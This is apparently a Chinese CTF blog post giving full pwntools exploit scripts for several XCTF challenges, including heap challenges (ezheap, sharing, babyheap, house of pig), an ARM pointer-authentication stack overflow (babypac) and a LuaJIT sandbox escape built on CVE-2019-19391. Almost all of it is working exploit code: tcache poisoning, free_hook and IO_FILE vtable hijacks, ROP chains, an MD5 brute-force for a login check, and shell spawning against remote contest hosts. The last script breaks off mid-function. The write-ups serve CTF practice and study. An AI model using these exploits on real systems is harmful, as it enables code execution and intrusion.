分类 XCTF 下的文章

ezheap

题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开

手动恢复出来了部分相关结构体:

远程EXP:

from pwn import *
import struct

#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"

BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4

def alloc(a_type:int, size:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"1")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"size>>\n", str(size).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    
def edit(a_type:int, idx:int, ele_idx:int, value):
    p.sendlineafter(b"enter your choice>>\n", b"2")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    p.sendlineafter(b"value>>\n", value)
    
def view(a_type:int, idx:int, ele_idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"3")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    
def delete(a_type:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"4")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())

# base: 0xf7fc7000
# uint16:    0xf7fc7000+0x4040
# uint8:     0xf7fc7000+0x5040
# uint32:    0xf7fc7000+0x6040
# float:     0xf7fc7000+0x7040

# 0xf7fc7000+0x9060

def exp():
    # leak new_heap_addr
    ## chain
    alloc(UINT32_ARR,  0xff8, 0)
    alloc(UINT32_ARR,  0xff8, 1)
    ## free chain
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    ## show ptr
    alloc(UINT32_ARR,  0xff8, 4) # help chunk
    view(UINT32_ARR, 4, 0)
    p.recvuntil(b"value>>\n")
    leak_addr = int(p.recvuntil(b"\n", drop=True), 10)
    libc_base = (leak_addr & 0xfffff000) + 0x5000
    system = libc_base + libc.symbols["system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one_gadget = libc_base + 0x13563f
    
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    ## padding, no use
    alloc(UINT32_ARR,  0x100, 5)
    
    # leak elf_base
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    target_header = libc_base - 0x10000
    pre_leak_addr = target_header + 0x18 # contant elf addr
    fake_chunk_hdr = target_header | (0x4+0x4)
    print("target_header:", hex(target_header))
    print("pre_leak_addr:", hex(pre_leak_addr))
    print("fake_chunk_hdr:", hex(fake_chunk_hdr))

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(pre_leak_addr))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    view(UINT32_ARR, 3, 0)
    p.recvuntil(b"value>>\n")
    elf_leak = int(p.recvuntil(b"\n", drop=True), 10)
    elf_base = elf_leak - 0x9060
    atoll_got = elf_base + elf.got["atoll"]
    ## build help_chunk
    alloc(UINT32_ARR,  0x2000, 6) # help chunk
    uint32_item_5 = elf_base + 0x6054
    help_chunk = libc_base - 0x16000
    print("uint32_item_5:", hex(uint32_item_5))
    print("elf_leak:", hex(elf_leak))
    print("elf_base:", hex(elf_base))
    #gdb.attach(p)
    #pause()
    
    # attack uint32_array
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(uint32_item_5-4))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
    print("help_chunk:", hex(help_chunk))
    print("uint32_item_5:", hex(uint32_item_5))
    
    # leak stack && build rop
    envrion = libc_base + libc.symbols["environ"]
    print("envrion:", hex(envrion))
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
    ## leak environ
    view(UINT32_ARR, 5, 0)
    p.recvuntil(b"value>>\n")
    stack_leak = int(p.recvuntil(b"\n", drop=True), 10)
    main_ret = stack_leak - 0xa4
    ## build fake array
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
    ## write rop
    edit(UINT32_ARR, 5, 0, str(system).encode()) # system
    edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
    edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
    print("main_ret:", hex(main_ret))
    
    p.sendline(b"5") # exit
    p.sendline("cat flag")
    p.interactive()

if __name__ == "__main__":
    exp()

sharing

C++题,祖传盲调手艺不能丢😁,逆向去tm

from pwn import *

#p = process("./sharing", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("124.70.137.88", 30000)
elf = ELF("./sharing")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
context.arch = "amd64"

hint_str = p32(0x2F767991)+p32(0)*3

def add(idx:int, size:int):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Sz: ", str(size).encode())

def send(_from:int, _to:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"From: ", str(_from).encode())
    p.sendlineafter(b"To: ", str(_to).encode())    
    
def show(idx:int):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Content: ", content)
    
def hint(addr:int):
    p.sendlineafter(b"Choice: ", b"57005")
    p.sendlineafter(b"Hint: ", hint_str)
    p.sendlineafter(b"Addr: ", str(addr).encode())

# base: 0x0000555555554000
# 0x0000555555554000+0x207260

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x1ce8\nc\n") #hint
    
    # leak heap
    ## build 0x30 free chain
    add(0, 0x20)
    add(1, 0x20)
    add(0, 0x30)
    add(1, 0x30)
    ## leak value
    add(2, 0x20)
    show(2)
    heap_leak = u64(p.recv(8))
    heap_base = heap_leak - 0x135d0 # maybe diff
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # leak libc
    add(3, 0x410)
    add(4, 0x10)
    add(3, 0x10)
    ## leak value
    add(3, 0x410)
    show(3)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    __free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    
    # uaf attack
    ## build 0x50 free chain (target)
    add(5, 0x40)
    add(6, 0x40)
    add(5, 0x70)
    add(6, 0x70)
    ## sender
    add(7, 0x10)
    edit(7, b"from")
    ## receiver
    add(8, 0x10)
    edit(8, b"to")
    ## modify receiver
    receiver_obj = heap_base + 0x13dd0
    receiver_content_ptr = receiver_obj + 0x18
    dec_times_1 = 0xb0 // 2
    dec_times_2 = (0xe-0xc) // 2
    ### dec the first byte
    for i in range(dec_times_1):
        hint(receiver_content_ptr)
    ### dec the second byte
    for i in range(dec_times_2):
        hint(receiver_content_ptr+1)
    ### modify tcache key
    tcache_key_addr = heap_base + 0x13c58
    hint(tcache_key_addr)
    print("tcache_key_addr:", hex(tcache_key_addr))
    print("receiver_obj:", hex(receiver_obj))
    print("receiver_content_ptr:", hex(receiver_content_ptr))
    ## send && rewrite tcache bin
    send(7, 8)
    add(9, 0x40)
    edit(9, p64(__free_hook))
    ## get free_hook
    add(10, 0x40)
    add(11, 0x40) # free_hook
    edit(11, p64(system))
    print("__free_hook:", hex(__free_hook))
    print("system:", hex(system))
    
    # get shell
    add(12, 0x10)
    edit(12, b"/bin/sh\x00")
    add(12, 0x10) 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

house of big

打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync,该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异

三个角色的哈希校验绕过

A: b'AV;\x8b\x02'

B: b'B\xbf\x1b\x1e\x04'

C: b'C%:U\x01'

哈希爆破脚本

from hashlib import md5

i = 2**24 # skip "\x00"

while True:
    #d = b"A"
    #d = b"B"
    d = b"C"
    _input = d + i.to_bytes(4, "little")
    #print(_input)
    tmp = md5(_input).digest()
    if tmp[:3] == b"<D\x00" and b"\x00" not in _input:
        print(i, d + i.to_bytes(4, "little"))
        break
    i += 1

exp:

from pwn import *
import hashlib

#p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("172.35.6.13", 8888)
elf = ELF("./pig")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

# b'AV;\x8b\x02'
# b'B\xbf\x1b\x1e\x04'
# b'C%:U\x01'

def load_peppa():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02')
    
def load_mummy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04')
    
def load_daddy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01')
    
    
def add_peppa_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Peppa's message: ")
    p.send(msg)
    
def add_mummy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Mummy's message: ")
    p.send(msg)
    
def add_daddy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Daddy's message: ")
    p.send(msg)
    
def show_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    
def edit_peppa_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Peppa's message: ", msg)
    
def edit_mummy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Mummy's message: ", msg)
    
def edit_daddy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Daddy's message: ", msg)
    
def del_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())

def exp():    
    #load_mummy()
    # leak addr
    #gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n")
    
    for i in range(8):
        add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7
    add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8
    for i in range(8):
        del_msg(i)
    load_mummy()
    load_peppa()
    show_msg(7) # leak libc
    p.recvuntil(b"The message is: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    global_max_fast = libc_base + 0x1eeb80
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    io_list_all = libc_base + 0x1ec5a0
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("global_max_fast:", hex(global_max_fast))
    show_msg(6) # leak heap
    p.recvuntil(b"The message is: ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12590
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # largebin attack
    #edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin
    #add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin
    #gdb.attach(p)
    #pause()
    load_mummy()
    add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0
    add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9
    load_mummy()
    add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10
    load_mummy()
    del_msg(2)
    
    ## reuse
    load_daddy()
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0
    del_msg(0)
    #gdb.attach(p)
    #pause()
    load_peppa()
    add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11
    del_msg(11) 
    #gdb.attach(p)
    #pause()
    
    load_mummy()
    add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3
    del_msg(1)
    load_peppa() # refresh locked_flag
    load_mummy()
    #gdb.attach(p)
    #pause()
    edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0
    load_daddy()
    
    ## trigger
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1
    print("global_max_fast:", hex(global_max_fast))
    print("io_list_all:", hex(io_list_all))
    target_chunk = heap_base + 0x13080
    print("target_chunk:", hex(target_chunk))
    #gdb.attach(p)
    #pause()

    
    io_str_jumps = libc_base + 0x1ed0e0
    ptr_2_io_wfile_sync = libc_base + 0x1ece40
    io_wfile_jumps = libc_base + 0x1ecde0
    #io_str_jumps = libc_base + 0x1ed320
    print("io_str_jumps:", hex(io_str_jumps))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    
    ## write fake io_file
    
    '''
    # old payload
    payload = p64(0)*2
    payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr
    payload += p64(0)*2
    payload += p64((binsh -100)//2) # _IO_buf_end;
    payload += p64(0)*4
    payload += p64(0) # _chain
    payload = payload.ljust((0x88-0x10), b"\x00")
    payload += p64(free_hook) # ptr to 0 for _lock
    payload = payload.ljust((0xa8-0x10), b"\x00")
    payload += p64(2) + p64(3) # _freeres_list _freeres_buf
    payload = payload.ljust((0xc0-0x10), b"\x00")
    payload += p32(0xffffffff)
    payload = payload.ljust((0xd8-0x10), b"\x00")
    payload += p64(io_str_jumps) + p64(system)
    payload = payload.ljust(0xf0, b"\x00")
    '''
    
    one_gadget = libc_base+0xE6C80
    payload = p64(0)*4
    payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr
    payload = payload.ljust(0x88, b"\x00")
    payload += p64(free_hook)
    payload = payload.ljust(0x98, b"\x00")
    payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt  _wide_data
    payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9)
    payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2
    #payload += b"/bin/sh\x00"+p64(0)*1+p64(system)
    payload += p64(target_chunk)+p64(0)*1+p64(system)
    payload = payload[0x10:].ljust(0x150, b"\x00")
    
    part1 = b""
    part2 = b""
    part3 = b""
    
    
    for i in range(7):
        part1 += payload[0x30*i : 0x30*i+0x10]
        part2 += payload[0x30*i+0x10 : 0x30*i+0x20]
        part3 += payload[0x30*i+0x20 : 0x30*i+0x30]
        
    load_peppa()
    edit_peppa_msg(11, part1)
    load_mummy()
    edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7))
    load_daddy()
    edit_daddy_msg(0, part3)
    
    print("io_list_all:", hex(io_list_all))
    print("io_str_jumps:", hex(io_str_jumps))
    print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    ## trigger system

    #gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n")
    # set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290
    # b *0x7ffff7e6b290
    load_mummy()
    del_msg(0)  
    print("onegadget:", hex(one_gadget))
    # _IO_flush_all_lockp
    # 0x7ffff7e62984
    # 0x7ffff7e62981
    #gdb.attach(p)
    #pause()
    
    p.interactive()
    

if __name__ == "__main__":
    exp()

hardstack

hand burp

from pwn import *
import sys

libc = ELF("./libc-2.27.so")
context.log_level = "debug"

def new(idx:int, size:int):
    p.sendlineafter(b"Your choice: ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Your choice: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Your choice: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def stkof(length, payload):
    p.sendlineafter(b"Your choice: ", b"666")
    p.sendline(str(length))
    p.send(payload)
    
def exp():
    global p
    
    #p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"})
    p = remote("172.35.6.14", 9999)
    #p.settimeout(1)
    
    #gdb.attach(p, "b *0x400C4C\nc\n") #stkof
    #chunk_list: 0x6020D0
    #stdout: 0x00007ffff7dce760
    #leak: 0x00007ffff7dce090
    
    # attack IO_FILE
    ## prepare
    new(0xf, 0xda0)
    new(0, 0x1) #0
    new(1, 0x1) #1
    new(2, 0x28) #2
    new(3, 0x28) #3
    new(4, 0x28) #4
    new(5, 0x410) #5
    new(6, 0x10) #6 split
    delete(5)
    new(7, 0x2) #6->4
    
    ## build
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    edit(1, b"\xb0")
    
    new(8, 0x1)
    new(9, 0x1)
    edit(9, b"\xe0")
    edit(7, b"\x30\xdc")
    
    ## get
    new(10, 0x20)
    new(11, 0x20)
    new(12, 0x20)

    edit(12, p64(0x400b20)+p64(0)*3)
    edit(12, p64(0x400a20)+p64(0)*3)

    
    # leak
    new(13, str(0x601FD0))
    malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = malloc - 0x97140
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    gets = libc_base + libc.symbols[b"gets"]
    print("malloc:", hex(malloc))
    print("libc:", hex(libc_base))
    print("binsh:", hex(binsh))
    print("system:", hex(system))
    #new(13, str(0x601FD0))
    edit(12, p64(gets)+p64(0)*3)
    new(14, 0x6020d0)
    p.sendline(b"/bin/sh\x00"+p64(0)*3)
    #gdb.attach(p, "b *0x400b4b")
    edit(12, p64(system)+p64(0)*3)
    new(1, 0x6020d0)

    p.sendline(b"cat flag; cat flag;")
    p.interactive()
    

if __name__ == "__main__":
    while True:
        exp()

lua

套了一个sandbox

LuaJIT版本2.1.0-beta3 2017

复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526

原POC还差写地址的部分

Type confusion 偏移到os.execute来bypass sandbox

exp:

local str = "123456789"
-- local bit = require("bit")
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
    local negative = false
    
    if high >= 0x80000000 then
        negative = true
        high = high - 0x80000000
    end
    
    local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
    local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
    
    local f
    if biasedExponent == 0x0000 then
        f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
    elseif biasedExponent == 0x07FF then
        f = mantissa == 0 and math_huge or(math_huge - math_huge)
    else
        f = math_ldexp(1 + mantissa, biasedExponent - 1023)
    end
    
    return negative and -f or f
end
local obj_address = tonumber(string.format( "%p", str ), 16) + 12
print(string.format( "%p", str ))
address = UInt32sToDouble( obj_address, 0 )
local func = debug.getinfo( 0, ">f", address ).func
print(func)
-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )
-- Format the address into a pointer
-- prints 4, the length of the string
-- print(string.format( "%p", length))
print("read memory:")
-- print( tonumber( string.format( "%p", length), 16 ) ) 
print(string.format( "%p", length)) 
function read_mem(mem_addr)
    mem_addr = mem_addr - 8
    address = UInt32sToDouble( mem_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    local length = debug.getfenv( func )
    return string.format( "%p", length)
end 
function exec_addr(e_addr, fake_argv)
    -- e_addr = e_addr - 8 
    address = UInt32sToDouble( e_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    func(fake_argv)
    print("exec successfully!!!")
end 
-- print(read_mem(obj_address - 4 - 0x10 + 4 ))
function addr_of(fake_obj)
    -- local o_address = tonumber(string.format("%p", fake_obj), 16)
    local o_address = string.format("%p", fake_obj)
    return o_address
end
function todo()
    print("hi,happy.")
end
print("addr of ipairs")
func_addr_of_ipairs = addr_of(ipairs)
print(ipairs)
print("addr of:")
func_addr_of_exec_addr = addr_of(exec_addr)
print(func_addr_of_exec_addr)
print("delta:")
print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs))
-- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs ))
-- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540
-- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs))
-- func_addr_of_load - func_addr_of_ipairs = 0x4b8
-- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load))
print("content:")
print(read_mem(func_addr_of_exec_addr))
-- exec_addr(obj_address)
function Sleep(n)
    local t0 = os.clock()
    while os.clock() - t0 <= n do end
 end
-- Sleep(20)
function faking_func() 
    print("fake me!!!")
end
local fake_args = function() print("exe_me!") end
-- load(fake_args)
-- exec_addr
-- exec_addr(addr_of(faking_func) , nil)
-- calc_load_addr = func_addr_of_ipairs + 0x4b8
calc_exec_addr = func_addr_of_ipairs + 0x2540
exec_addr(calc_exec_addr, "cat flag")

babyheap

18.04 libc2.27堆题,delete有double free

白给题,触发malloc_consolidate就可以leak+overlapping

EXP:

from pwn import *

#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"


def add(idx:int, size:int):
    p.recvuntil(b">> \n")
    p.sendline(b"1")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input size\n")
    p.sendline(str(size).encode())
    
def delete(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"2")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def edit(idx:int, content):
    p.recvuntil(b">> \n")
    p.sendline(b"3")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input content\n")
    p.send(content)
    
def show(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"4")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def leaveName(name):
    p.recvuntil(b">> \n")
    p.sendline(b"5")
    p.recvuntil(b"your name:\n")
    p.send(name)
    
def showName():
    p.recvuntil(b">> \n")
    p.sendline(b"6")

def exp():
    # leak libc
    for i in range(16):
        add(i, 0x20) #0-9
    for i in range(15):
        delete(i) # del 0-9
    leaveName(b"123123")
    show(7)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ebe10
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))
    
    # overlapping && double free
    add(0, 0x50) #0
    edit(0, p64(0)*4+p64(0x61))
    delete(8)
    edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
    
    # attack free_hook
    add(1, 0x50) #1
    add(1, 0x50) #1
    edit(1, p64(system))
    print("free_hook:", hex(free_hook))
    edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
    delete(8)
    
    #gdb.attach(p)
    
    p.interactive()

if __name__ == "__main__":
    exp()

babypac

arm架构的题,有栈溢出机会

数据结构:

从0x412050开始的结构体数组

strcut aaa{
QWORD id;
QWORD lock;
};

分析:

  • add函数将id设为你的输入,lock设为0
  • lock函数将id设为sub_4009D8(id),lock设为1
  • show函数当lock为0时候打印id,lock为1的时候不打印
  • auth函数检查是否sub_4009d8(0x10A9FC70042)为id,是的话给栈溢出机会

这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:

这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。

思路:

  1. PACIA指令对跳转指针进行签名,签名结果被函数加密了,找shallow写了脚本解出签名后的指针
  2. 然后用csu gadget leak出puts的地址低三字节,拼接出完整地址
  3. ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"
  4. ret回main同样的方法调用system(借助上一步写入的函数地址和参数)

EXP:

from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time

#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"

def add(_id:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil(b"identity: ")
    p.sendline(str(_id).encode())
    
def lock(idx):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def show():
    p.recvuntil(b">> ")
    p.sendline(b"3")

def auth(idx):
    p.recvuntil(b">> ")
    p.sendline(b"4")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res
    
def unshift(c):
    c = unshiftright(c , 13)
    c = unshiftleft(c , 31)
    c = unshiftright(c , 11)
    c = unshiftleft(c , 7)
    return c
    
# global const
bss_name = 0x412030
bss_list = 0x412050

curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C

def exp():
                        
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8

    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(puts_got) + p64(puts_got)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    libc_leak = p.recvuntil(b"\n", drop=True)
    libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
    puts = u64(libc_leak)
    libc_base = puts - libc.symbols[b"puts"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    mprotect = libc_base + libc.symbols[b"__mprotect"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("mprotect:", hex(mprotect))

    # set name
